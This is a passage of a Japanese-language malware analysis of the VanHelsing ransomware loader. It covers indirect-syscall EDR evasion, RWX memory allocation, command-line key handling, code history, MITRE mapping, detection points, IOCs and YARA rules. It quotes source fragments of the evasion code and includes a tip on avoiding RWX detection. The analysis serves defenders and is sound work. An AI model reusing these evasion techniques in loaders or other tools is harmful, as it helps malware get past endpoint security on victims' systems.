EDR製品(CrowdStrike Falcon、Microsoft Defender for Endpoint等)は ntdll.dll のNt関数の先頭バイトを自社のフックコードに書き換える(インラインフック)。VanHelsingのLoaderはntdll関数の先頭(フックが設置される場所)を経由せず、関数内部の syscall 命令に直接ジャンプすることで、フックを完全にバイパスする。
5.2 syscall命令の検索ロジック
// main.cpp:150-161 for (int i = 0; i < 50; i++) { if (*((BYTE*)(pNtAllocateVirtualMemory + i)) == 0x0F && *((BYTE*)(pNtAllocateVirtualMemory + i + 1)) == 0x05) { sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + i; break; } }
ntdll関数の先頭50バイト以内で 0x0F 0x05(syscall 命令のオペコード)を検索する。EDRがインラインフックで先頭バイトを書き換えていても、syscall 命令自体は通常書き換えられないため、この検索は成功する。
検知手法: ETW(Event Tracing for Windows)はカーネルレベルでsyscallを監視できるため、ntdllフックをバイパスされても、NtAllocateVirtualMemoryの呼び出し自体はETWで捕捉可能。特に PAGE_EXECUTE_READWRITE での大規模メモリ確保は高リスクイベントとして検知できる[9]。
5.3 PAGE_EXECUTE_READWRITE の使用
NTSTATUS vprotect = NtAllocateVirtualMemory( NtCurrentProcess(), (PVOID*)&NullBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE); // RWX — 読み書き実行可能
PAGE_EXECUTE_READWRITE(RWX)メモリ領域は、データの書き込みとコード実行の両方が可能な特殊なメモリ保護属性である。正規のアプリケーションでRWXメモリを使用するケースは稀であり(JITコンパイラ等を除く)、これは非常に強い悪意の指標となる。
改善案(参考): より洗練されたローダーは以下の手順でRWXを回避する:
PAGE_READWRITEでメモリ確保- PEデータを書き込み
- セクションごとに
NtProtectVirtualMemoryで適切な保護属性を設定(.text →PAGE_EXECUTE_READ、.data →PAGE_READWRITE等)
VanHelsingのLoaderはこの手順を省略し、全体をRWXで確保している。これは実装の簡易化を優先した結果であり、メモリ保護の観点ではセキュリティ製品に検知されやすい。
参考文献
[11] https://hadess.io/edr-evasion-techniques-using-syscalls/ (HADESS)
[12] main.cpp:119-193, sys.asm:1-16
6. コマンドライン引数と鍵管理
6.1 ParseArgs() — 鍵の受け取り (core.cpp:84-135)
BOOL ParseArgs() { int argc; LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc); if (!argv) { MessageBoxW(NULL, L"Failed to parse command line", L"Error", MB_OK | MB_ICONERROR); return FALSE; } // デバッグモード if (IsArgExists(argc, argv, L"-v") == TRUE) { AllocConsole(); freopen("CONOUT$", "w", stdout); freopen("CONOUT$", "w", stderr); freopen("CONIN$", "r", stdin); Debug = TRUE; } // パスワード(AES鍵 + nonce)— 必須引数 if (IsArgExists(argc, argv, L"--Password") == TRUE) { std::wstring password = GetArgsValue(argc, argv, L"--Password"); if (password.empty()) { DebugVerbose((WCHAR*)L"Empty password\n", TRUE); getchar(); return FALSE; } else { // "KEY:NONCE" 形式を分割 splitHashAndNonce(password, AES_MASTER_KEY, AES_MASTER_NONCE); } } else { DebugVerbose((WCHAR*)L"The password is required\n", TRUE); getchar(); return FALSE; } return TRUE; }
Lockerでは --Password がコメントアウトされていたが、Loaderでは必須引数として実装・有効化されている。Loaderは --Password KEY:NONCE 形式でAES-256-GCM復号鍵(32バイト)とnonce(12バイト)を受け取る。
6.2 splitHashAndNonce() — 鍵とnonceの分割 (core.cpp:25-39)
void splitHashAndNonce(const std::wstring& input, std::string& master_key, std::string& master_nonce) { std::string str_input = wstring_to_string(input); size_t pos = str_input.find(':'); // ':' で分割 if (pos != std::string::npos) { master_key = str_input.substr(0, pos); // ':' の前 → AES鍵 master_nonce = str_input.substr(pos + 1); // ':' の後 → AES nonce } else { wprintf(L"Invalid format: ':' not found in input\n"); } }
コマンドラインから受け取った文字列を : で分割し、前半を AES_MASTER_KEY、後半を AES_MASTER_NONCE に格納する。
使用例:
loader.exe --Password AABBCCDD...(32バイト鍵):11223344...(12バイトnonce)
OPSEC考察 — コマンドラインでの鍵受け渡しの利点と脆弱性:
利点:
- Loaderバイナリ自体に鍵が含まれないため、バイナリの静的解析でペイロードを復号できない
- VirusTotalにLoaderがアップロードされても、暗号化ペイロードは安全
- Lockerの
--Password(コメントアウト済み)とは異なり、Loaderでは有効化されている — Loaderの方が高いOPSEC意識で設計されている
脆弱性:
- コマンドライン引数はWindows Security EventID 4688(プロセス作成監査)やSysmon EventID 1で記録される
ProcessCommandLineフィールドに鍵がプレーンテキストで残存する- メモリフォレンジックでプロセスのPEB(Process Environment Block)からコマンドラインを抽出可能
- 親プロセス(psexecやcmd.exe)のメモリにもコマンドライン文字列が残る可能性
バグ: GetArgsValue()の境界外アクセス — Lockerと同一のコード(core.cpp:53-65)であり、--Password がコマンドラインの最後の引数として指定された場合に argv[argc] への不正アクセスが発生する。
参考文献
[13] core.cpp:25-135
7. 旧バージョンとの差分分析
oldmain.cpp は全面コメントアウトされた旧バージョンのLoaderであり、現行バージョンへの進化過程を示す重要な開発アーティファクトである。
7.1 主要な差異
| 項目 | 旧バージョン (oldmain.cpp) | 現行バージョン (main.cpp) |
|---|---|---|
| メモリ確保 | VirtualAlloc() (Win32 API) |
NtAllocateVirtualMemory (直接syscall/x64) |
| EDR回避 | なし | Indirect Syscall |
| アーキテクチャ | 32bitのみ | 32bit + 64bit両対応 |
| リロケーション | IMAGE_REL_BASED_HIGHLOW のみ |
HIGHLOW + DIR64 |
| インポート解決 | FirstThunk のみ |
OriginalFirstThunk + FirstThunk |
| 鍵管理 | AES_HEX_KEY / AES_HEX_NONCE (マクロ定数) |
コマンドライン --Password KEY:NONCE |
| 変数名 | 難読化あり(A89haudwnakldm等) |
平文(dosHeader等) |
| コンソール | コメントアウト | コメントアウト |
7.2 旧バージョンの変数難読化
// oldmain.cpp:46-55 — 難読化された変数名 PIMAGE_DOS_HEADER A89haudwnakldm = (PIMAGE_DOS_HEADER)code; PIMAGE_NT_HEADERS B89haudwnakldm = (PIMAGE_NT_HEADERS)(code + A89haudwnakldm->e_lfanew); PIMAGE_SECTION_HEADER qLbzoowb = IMAGE_FIRST_SECTION(B89haudwnakldm); // yOWyjdWo, qOeGpyErbS, ajlTeYdRrGi, gjdNsjuNdb, eRsiXgtb, ...
旧バージョンでは変数名がランダムな文字列で難読化されていた。興味深いことに、現行バージョンではこの難読化が除去されており、dosHeader, ntHeaders, sectionHeader などの平文変数名が使用されている。
考察: これは逆説的な変化である。通常、ソフトウェアの開発が進むにつれてOPSEC性は向上する(難読化が追加される)が、VanHelsingでは逆に難読化が除去されている。推測される理由:
- 難読化はコードの可読性を低下させ、デバッグと開発を困難にする
- ビルダーがコンパイル前にソースコードを自動難読化する機能が計画されていた(が未実装)
- RaaSプラットフォームとして、アフィリエイトがコードを理解しやすくする必要があった
7.3 旧バージョンの鍵管理
// oldmain.cpp:32-33 std::string aes_hex_key = AES_HEX_KEY; std::string aes_hex_nonce = AES_HEX_NONCE;
旧バージョンでは AES_HEX_KEY と AES_HEX_NONCE がマクロ定数としてソースコードに埋め込まれていた(Lockerの X25519_PUBLIC_KEY と同じ方式)。これにより、Loaderバイナリの静的解析で鍵を抽出し、暗号化ペイロードを復号することが可能だった。
現行バージョンでコマンドライン引数に変更されたのは、この脆弱性に対する明確な改善である。
参考文献
[14] oldmain.cpp:1-147
8. コメントアウトされたAPI動的解決コード
core.h と core.cpp には、大量のコメントアウトされたAPI動的解決コードが存在する(core.h:75-111, core.cpp:158-316)。
8.1 放棄されたInitializeLibsFunctions()
// core.cpp:176-267(コメントアウト) //BOOL InitializeLibsFunctions() //{ // HMODULE k32dll = LoadLibraryA("Kernel32.dll"); // // pHeapAlloc = (funcHeapAlloc)GetProcAddress(k32dll, "HeapAlloc"); // pGetProcessHeap = (funcGetProcessHeap)GetProcAddress(k32dll, "GetProcessHeap"); // pHeapFree = (funcHeapFree)GetProcAddress(k32dll, "HeapFree"); // pGetModuleFileNameA = (funcGetModuleFileNameA)GetProcAddress(k32dll, "GetModuleFileNameA"); // pCreateProcessA = (funcCreateProcessA)GetProcAddress(k32dll, "CreateProcessA"); // pWaitForSingleObject = (funcWaitForSingleObject)GetProcAddress(k32dll, "WaitForSingleObject"); // pGetEnvironmentVariableA = (funcGetEnvironmentVariableA)GetProcAddress(k32dll, "GetEnvironmentVariableA"); // pGetWindowsDirectoryA = (funcGetWindowsDirectoryA)GetProcAddress(k32dll, "GetWindowsDirectoryA"); // pGetVolumeInformationA = (funcGetVolumeInformationA)GetProcAddress(k32dll, "GetVolumeInformationA"); // // ... //}
これはIAT(Import Address Table)難読化の試みであった。通常のインポートテーブルにWindows API関数が列挙されると、静的解析でLoaderの機能を推測できる。動的に GetProcAddress で関数ポインタを取得する方式にすれば、IATに関数名が現れなくなる。
放棄された理由の推測: LoadLibraryA と GetProcAddress 自体がIATに現れるため、IAT難読化としては不完全。より高度な手法(PEB→LDR→InLoadOrderModuleListからのDLL検索 + ハッシュベースのエクスポート解決)への移行が必要だが、実装の複雑さから断念したと推測される。
core.cpp:270-316にはカスタムメモリ管理関数(pAlloc, pSet, pCopy, pFree)もコメントアウトされている。これらはCRT(C Runtime Library)の malloc/memset/memcpy/free の代替として、HeapAlloc/HeapFree を直接使用するものだった。CRT依存を排除することでバイナリサイズの削減とIATの最小化を狙ったが、同様に放棄された。
参考文献
[15] core.h:75-111, core.cpp:158-316
9. 検知・ハンティングポイント
9.1 MITRE ATT&CK マッピング
| ID | テクニック | Loaderでの実装 |
|---|---|---|
| T1620 | Reflective Code Loading | リフレクティブPEローディング |
| T1106 | Native API | NtAllocateVirtualMemory直接syscall |
| T1027.009 | Embedded Payloads | AES-256-GCM暗号化ペイロード埋め込み |
| T1140 | Deobfuscate/Decode Files or Information | AES-256-GCM復号 |
| T1055 | Process Injection | インプロセスPE実行 |
9.2 検知ポイント
| 検知対象 | 方法 | データソース |
|---|---|---|
--Password コマンドライン引数 |
プロセス作成監視 | Sysmon 1 / Security 4688 |
| RWX大規模メモリ確保 | メモリ保護属性監視 | ETW / EDR |
| ntdll関数内部へのジャンプ | コールスタック検証 | ETW / EDR |
LoadLibraryA 連続呼び出し |
API呼び出しパターン | ETW |
GetProcAddress 大量呼び出し |
API呼び出しパターン | ETW |
0x0F05(syscall)パターンの検索 |
メモリスキャン | EDR |
9.3 推奨防御策
| 対策 | 効果 |
|---|---|
| コマンドライン監査の有効化 | --Password 引数から鍵を回収可能 |
| ETWベースの監視 | syscall直接呼び出しを捕捉 |
| RWXメモリ検出 | 大規模RWX領域のアラート |
| AppLocker/WDAC | 未署名バイナリの実行ブロック |
| ネットワークセグメンテーション | Loaderの配置自体を防止 |
参考文献
[16] https://www.paloaltonetworks.com/blog/security-operations/a-deep-dive-into-malicious-direct-syscall-detection/ (Palo Alto Networks) [17] https://research.splunk.com/stories/vanhelsing_ransomware/ (Splunk)
10. バグ・実装上の問題
10.1 全バグリスト
| # | 問題 | 箇所 | 影響度 |
|---|---|---|---|
| 1 | getchar()がx64正常フロー上に存在 | main.cpp:173 | 後述(解釈が分かれる) |
| 2 | GetArgsValue()の境界外アクセス | core.cpp:53-65 | 中 — 最終引数がvalueなしの場合クラッシュ |
| 3 | NullBuffer(マッピングPE)の未解放 | main.cpp:313 | 低 — プロセス終了で自動解放 |
| 4 | AES_MASTER_KEY/NONCEの長さ未検証 | core.cpp:120 | 中 — 不正な長さで復号失敗 |
| 5 | splitHashAndNonce()のエラー時処理欠如 | core.cpp:37 | 中 — ':'がない場合に空文字列のまま続行 |
| 6 | malloc(encrypted_codeSize)のサイズが暗号文サイズ | main.cpp:64 | 低 — 復号後は短くなるが余剰領域は無害 |
10.2 getchar()の分析 — デバッグ残留か意図的機構か (main.cpp:173)
#ifdef _M_X64 // ... NtAllocateVirtualMemory成功 ... getchar(); // x64パスのみ: 入力待ちでブロック #else // ... x86パスにはgetchar()がない ... #endif
x64ビルドのLoaderは、NtAllocateVirtualMemory成功後に getchar() でブロックする。この getchar() の解釈は2通りある。
解釈A: 意図的なサンドボックス回避/手動制御機構
- サンドボックス対策: 自動解析環境(ANY.RUN、Joe Sandbox、Cuckoo等)はユーザーの対話的入力を提供しない。
getchar()でブロックすることで、サンドボックス上ではペイロード展開に到達せず、動的解析でLockerの挙動が露出しない。これはサンドボックス回避の簡易的だが有効な手法であり、MITRE ATT&CK T1497.003(Time Based Evasion)に類似する - 手動実行制御: アフィリエイトがNtAllocateVirtualMemory成功を確認した後、Enterキーでペイロード展開を開始するタイミングを手動で制御できる。EDRの警告を確認してから続行するかどうかを判断する猶予となる
- GUIアプリケーションでの挙動:
-v未指定時はコンソールが確保されていないため、getchar()はstdinがない状態で呼ばれる。MSVC CRTの実装では即座にEOFを返す可能性があり、この場合は実質的に影響しない。つまり「-vデバッグ時のみ停止し、本番実行では通過する」という設計意図の可能性がある
解釈B: デバッグ用コードの残留(バグ)
- x86パスに
getchar()がない: 意図的なら両アーキテクチャで一貫しているべきである。x64パスにのみ存在するのは、x64実装時のデバッグ中に追加され、そのまま残留したことを示唆する - 他のデバッグコードとの一貫性: 同ファイル内の
//printf(...)や//wprintf(...)はコメントアウトされているが、getchar()だけがコメントアウトされていない — コメントアウトし忘れの可能性 - エラーパスと同パターン: エラーパスの
getchar()はエラーメッセージ確認のための一時停止として明確にデバッグ目的であり、行173もそのパターンの延長として混入した可能性
結論: 確定的にどちらとも断定できないが、x86パスとの非対称性およびコメントアウトされた周辺のデバッグコードとの不整合から、デバッグ残留の可能性が高いと考えられる。ただし、GUIアプリケーションとしてコンパイルされた場合にstdinがないため通常実行では即座に返る可能性があり、実用上の影響は限定的である。サンドボックス解析時にこの挙動が観察された場合は、意図的な回避機構として報告される可能性がある点に留意すべきである。
10.3 splitHashAndNonce()のエラー処理欠如
void splitHashAndNonce(const std::wstring& input, std::string& master_key, std::string& master_nonce) { std::string str_input = wstring_to_string(input); size_t pos = str_input.find(':'); if (pos != std::string::npos) { master_key = str_input.substr(0, pos); master_nonce = str_input.substr(pos + 1); } else { wprintf(L"Invalid format: ':' not found in input\n"); // エラーメッセージを出力するが、FALSEを返さずに続行 // → AES_MASTER_KEY, AES_MASTER_NONCE が空文字列のまま復号を試行 // → crypto_aead_aes256gcm_decrypt()が失敗 } }
: が見つからない場合、警告メッセージは出力されるが、ParseArgs() はTRUEを返して処理が続行される。その結果、空文字列の鍵/nonceでAES復号が試行され、crypto_aead_aes256gcm_decrypt() が失敗する。致命的ではないが、エラーメッセージが分かりにくくなる。
参考文献
[18] main.cpp:173, core.cpp:25-39, 53-65
11. IOC・検出シグネチャ
11.1 ファイルIOC
| インジケータ | 説明 |
|---|---|
--Password コマンドライン引数 |
Loader実行の確定的指標 |
| AES-256-GCMで暗号化された1.4MBの埋め込みデータ | code.h由来のペイロード |
NtAllocateVirtualMemory + PAGE_EXECUTE_READWRITE |
RWXメモリ確保 |
LoadLibraryA + GetProcAddress 大量呼び出し |
インポート解決 |
sys.asm由来の mov r10, rcx; mov eax, XX; jmp [XX] パターン |
Indirect Syscallスタブ |
11.2 プロセス実行パターン
# Loaderの典型的なコマンドライン loader.exe --Password <32バイトHEX鍵>:<12バイトHEXnonce> # デバッグモード付き loader.exe -v --Password <鍵>:<nonce>
11.3 YARAルール
rule VanHelsing_Loader_Syscall_Stub {
meta:
description = "Detects VanHelsing Loader's indirect syscall stub"
strings:
// sys.asm pattern: mov r10, rcx; mov eax, <dword>; jmp qword ptr [<addr>]
$syscall_stub = { 4C 8B D1 B8 ?? ?? ?? ?? FF 25 }
condition:
$syscall_stub
}
rule VanHelsing_Loader_AES_GCM_Decrypt {
meta:
description = "Detects VanHelsing Loader's AES-GCM decryption pattern"
strings:
$s1 = "crypto_aead_aes256gcm_decrypt" ascii
$s2 = "--Password" wide
$s3 = "Decryption failed" wide
condition:
2 of them
}
11.4 Check Point検出シグネチャ
| SHA-1 | 説明 |
|---|---|
4211cec2f905b9c94674a326581e4a5ae0599df9 |
Loader [19] |
参考文献
[19] https://research.checkpoint.com/2025/vanhelsing-new-raas-in-town/ (Check Point, 2025-03-24)
[20] https://www.cyfirma.com/research/vanhelsing-ransomware/ (CYFIRMA, 2025-03-16)